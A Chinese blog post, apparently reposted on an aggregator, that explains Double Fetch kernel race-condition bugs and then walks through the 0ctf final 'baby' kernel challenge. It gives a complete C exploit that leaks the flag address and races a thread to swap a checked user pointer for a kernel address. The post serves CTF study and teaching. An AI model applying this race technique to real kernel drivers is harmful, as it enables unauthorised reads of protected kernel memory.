条件竞争漏洞Double Fetch

这篇具有很好参考价值的文章主要介绍了条件竞争漏洞Double Fetch。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

Double Fetch(双取)是一种条件竞争的漏洞,相关的论文发表在USENIX,论文链接:https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-wang.pdf

Double Fetch

Double Fetch是内核的一种漏洞类型,发生在内核从用户空间中拷贝数据时,两次访问了相同一块内存。如下图示(图片来自论文),内核从用户空间拷贝数据时,第一次拷贝会进行安全检测,而第二次拷贝时才会进行数据的使用,那么在第一次拷贝与第二次拷贝的间隙,就能够进行恶意数据篡改。举个例子,在第一次时从用户空间中获取了需要拷贝的长度,并进行长度的检测,但是在第二次拷贝时会再次拷贝长度,并且根据该长度进行数据的拷贝。但是此时的长度是没有经过校验的,因此当该长度在第一次拷贝与第二次拷贝之间被修改,就会导致漏洞的发生。这种漏洞就被称之为Double Fetch。

论文的作者总结了容易发生Double Fetch的情况,如下图示(图片来自论文)。通常用户进程会通过指定的消息格式与内核进行通信,而消息格式通常由消息头与消息体构成。消息头包含了一些特殊属性,比如消息的长度,消息的类型等。那么内核通常会取出消息头,根据消息头的信息,进行不同的分支执行。若在进入分支后,内核依旧提取出消息头,并使用了前面使用过的字段,就非常容易发生Double Fetch,因为在这两次提取的过程中,用户态的程序可以修改消息头。

作者根据Double Fetch发生的场景,并将其进行分类

  • 类型选择

  • 长度检查

  • 浅拷贝

类型选择

类型选择的Double Fetch,如下图示(图片来自论文)。代码截取自cxgb3 main.c。可以看到下述代码首先通过copy_from_user函数从useraddr中拷贝数据到cmd中,而useraddr为用户空间的地址。而后续的流程会根据从useraddr中提取出的数据从而选择执行。并且在每个分支中,又通过copy_from_user函数从useraddr的地址中取出数据,做后续的处理。若在后续的处理中又重复使用到了cmd那么就会导致Double Fetch

长度选择

长度选择的Double Fetch,如下图示(图片来自论文)。在第一次拷贝是通过copy_from_userarg中获取数据,并且提取了header.Size,在第二次时又重复了这个过程,这就是明显的Double Fetch。若在两次提取之间修改了header.Size值,并通过aac_fib_send函数发送数据,那么就会导致漏洞的发送,即可以泄露比原本header.Size值更大的数据量。

浅拷贝

浅拷贝则是第一次的拷贝只是将指向用户数据的指针拷贝到内核中,后续在将用户数据拷贝进来。如下图示(图片来自论文)。第一次获取时是通过指向用户数据的指针的指针,而第二次同样是这么获取的,那么在第一次与第二次的间隔中修改指针的指向就会导致数据被修改。

举个例子,即内核拷贝时并不是把能够读取用户数据的地址拷贝进来,而是将指向该地址的地址给拷贝进来,即下图中的ptr,因此后续内核在读取数据的时候都是通过ptr进行获取,那么在两次获取的中途修改了ptr的指向,那么就可以使得内核指向恶意数据。

总结一下Double Fetch的利用流程

  • 内核会从用户空间中获取数据,并且会两次获取相同空间的数据

  • 在两次获取的过程中没有检测获取的数据是否一致

  • 最后在两次获取的过程中,篡改该空间的数据

20180ctf-final-baby

题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/0ctf-final-baby

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

在模块中存在baby_ioctl函数,若rsi的值为0x6666则会将flag输出,由于是通过printk,因此需要通过dmesg输出,若rsi为0x1337,则会经过一个校验函数,若通过该校验流程,则会将flag的值与传入的地址的内容进行比较,若内容完全一致,那么则会将flag直接输出,同样的该输出是通过printk,因此需要通过dmesg进行打印。

接着看校验函数,该函数很简单,接受三个参数,a1a2a3,若a1 + a2 < a3则通过检查。而a1的值是我们所控制的,即rdx寄存器的值,而a3的值则是通过&current_task中获取的。

可以发现从&current_task中获取的地址为0x7ffffffff000

下图为用户空间的地址分布,可以看到0x7ffffffff000为末尾地址,因此该检测即使若传入的地址是用户空间地址则通过,传入内核空间地址就不通过。

这么做的原因是因为,flag字符串是硬编码到驱动中的,若能够读取内核空间的内容,岂不是可以直接读取了?因此该题做了隔离。

那么这题就能够使用Double Fetch进行利用,重点来看检测部分。驱动会进行三块检测

  • 检查传入的地址是否为用户空间的地址

  • 检查传入的地址的内容的值是否为用户空间的地址

  • 检查传入的长度是否与flag的长度一致

总的来说从用户空间中我们传入了一个结构体

typedef struct
{
    char *flag_addr;
    unsigned long flag_len;
};

可以看到该题在检测的时候获取的用户空间的地址v5,接着在循环过程中再一次获得用户空间的地址v5,在这两次获取的过程中并没有去比较值是否被修改了,那么就导致了Double Fetch

利用的思路如下

  • 在检测阶段,v5的我们使用用户空间的变量值进行赋值,即v5 = buf

  • 而进入比较阶段,v5的值我们使用flag的地址值进行赋值,即v5 = flag

那么如何获得进入比较阶段的时间点呢,可以看到题目即使比较失败也不会发生异常而是简单的返回,因此我们可以开启一个线程,不断的修改v5 = flag即可

...
void *
rewrite_flag_addr(void *arg)
{
    pdata data = (pdata)arg;
    while(finish == 0)
    {
        data->flag_addr = (char *)target_addr;
        //printf("%p\n",data_flag.flag_addr);
    }
}
...
err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag);
...

具体流程如下图,这里用线程的原因

  • 主线程与子线程异步执行

  • 线程之间共享内存信息

因此可以利用其他线程去修改共享的内存

完整exp

#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <pthread.h>
​
#define MAXSIZE 1024
#define MAXTIME 1000000
​
unsigned long target_addr;
int finish;
typedef struct 
{
    char* flag_addr;
    unsigned long flag_len;
}data, *pdata;
data data_flag;
int fd;
​
void *
rewrite_flag_addr(void *arg)
{
    pdata data = (pdata)arg;
    while(finish == 0)
    {
        data->flag_addr = (char *)target_addr;
        //printf("%p\n",data_flag.flag_addr);
    }
}
​
​
int main()
{
    fd = open("/dev/baby", O_RDWR);
    __asm(
        ".intel_syntax noprefix;"
        "mov rax, 0x10;"
        "mov rdi, fd;"
        "mov rsi, 0x6666;"
        "syscall;"
        ".att_syntax;"
    );  
    
    char buf[MAXSIZE];
    char *target;
    int count;
    int flag = open("/dev/kmsg", O_RDONLY);
    if (flag == -1)
        printf("open dmesg error");
    while ((count = read(flag, buf, MAXSIZE)) > 0)
    {
        if ((target = strstr(buf, "Your flag is at ")) > 0)
        {
            target = target + strlen("Your flag is at ");
            char *temp = strstr(target, "!");
            target[temp - target] = 0;
            target_addr = strtoul(target, NULL, 16);
            printf("flag address:0x%s\n",target);
            printf("flag address:0x%lx\n", target_addr);
            break;
        }
    }   
    data_flag.flag_addr = buf;
    data_flag.flag_len = 33;
    pthread_t ntid;
    int err;
    err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag);   
    for (int i = 0; i < MAXTIME; i++)
    {
        ioctl(fd, 0x1337, &data_flag);
        data_flag.flag_addr = buf;
        //printf("%d\n",i);
    }
    finish = 1;
    pthread_join(ntid, NULL);
    printf("end!");
    //system("dmesg | grep flag");
}

更多网安技能的在线实操练习,请点击这里>>

 文章来源地址https://www.toymoban.com/news/detail-637498.html

到了这里,关于条件竞争漏洞Double Fetch的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • PHP文件上传之条件竞争(其一)

    目录 一、什么是条件竞争 二、场景代码分析 本文用于实验的PHP代码如下:  知识点补充: 代码分析: 三、条件竞争步骤 1、竞争payload: 2、竞争方法: 1、burpsuite: 2、python脚本:   在某些文件上传情境中,后端代码会先保存我们所上传的文件,然后再检查我们上传的文件

    2024年02月05日
    浏览(46)
  • 不死马的利用与克制(基于条件竞争)及变种不死马

    不死马即内存马,它会写进进程里,并且无限地在指定目录中生成木马文件 这里以PHP不死马为例 测试代码: 上面代码即为最简单的不死马,其目的是创建一个名为\\\".test.php\\\"的PHP文件,该文件包含一个带有密码验证的后门,允许执行任意PHP代码。 关于代码的详细解释: 1、i

    2024年02月07日
    浏览(32)
  • 【二进制安全】堆漏洞:Double Free原理

    参考:https://www.anquanke.com/post/id/241598 次要参考:https://xz.aliyun.com/t/6342 malloc_chunk 的源码如下: 释放的chunk 会以单向链表的形式回收到fastbin 里面。 fastbin 是 LIFO 的数据结构,使用单向链表实现。 示例代码: 需要使用glibc 2.27编译。 Linux下更换glibc版本的方法:https://blog.csdn.

    2024年02月14日
    浏览(34)
  • 安全作业-Race竞争型漏洞、原型链污染

      一、第一题js代码 获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在。 由代码可知,全文没有对user.admintokn 进行赋值,所以理论上这个值时不存在的,但是下面有一句赋值语句: data , row , col ,都是我们post传入的值,都是可控的,所以

    2024年02月13日
    浏览(27)
  • Day60:WEB攻防-PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改

    目录 PHP-DEMO1-序列化和反序列化 序列化操作 - 即类型转换 序列化案例 PHP-DEMO2-魔术方法触发规则 __construct(): //当对象new的时候会自动调用 __destruct()://当对象被销毁时会被自动调用 __sleep(): //serialize()执行时被自动调用 __wakeup(): //unserialize()时会被自动调用 __invoke(): //把对象当

    2024年04月27日
    浏览(28)
  • C++ 为什么double类型不能直接判断等于0 两个double类型怎么判断相等

    精度丢失, 十进制小数部分在转换成2进制的时候经常会出现无限位的二进制小数,计算机存储小数有长度限制,所以会进行截取部分小数进行存储,计算机只能存储大概的值,而不是精确的值 。 例如: 判断一个单精度浮点数:则是 if( abs(f) = 1e-6); 要判断一个双精度浮点数

    2024年02月12日
    浏览(45)
  • 涉及float和double

    它们会分成小数部分和指数部分分别存储。小数部分的有效位数越多,精度就越高,指数部分占位越多,能表示的数值范围越大。 一般float是4个字节,double是8个字节。 一般float的精度比double的大一些。 double的数值表示范围远远大于float。 该结论来源于谭浩强《C语言设计》的

    2024年02月07日
    浏览(21)
  • double类型大小比较的方法

    问题 在Java中,int类型数据的大小比较可以使用双等号,double类型则不能使用双等号比较大小,那若使用double类型时怎么进行比较呢? 方法 转换为字符串 如果要比较的两个double数据的字符串精度相等,可以将数据转换成string然后借助string的equals方法来间接实现比较两个doub

    2024年02月14日
    浏览(32)
  • JAVA double精度丢失问题

    0.1*0.1使用计算器计算是0.01,代码里却是0.010000000000000002 为什么会这样呢?这就是精度丢失问题造成的。 因为计算机只能识别0和1,即二进制, 无论哪种编程语言,都需要翻译成二进制才能被计算机识别。 很多人还知道这样一句话: 这种舍入误差的主要原因是浮点数值采用

    2024年02月05日
    浏览(36)
  • BigDecimal和double类型相互转换

    2024年02月06日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包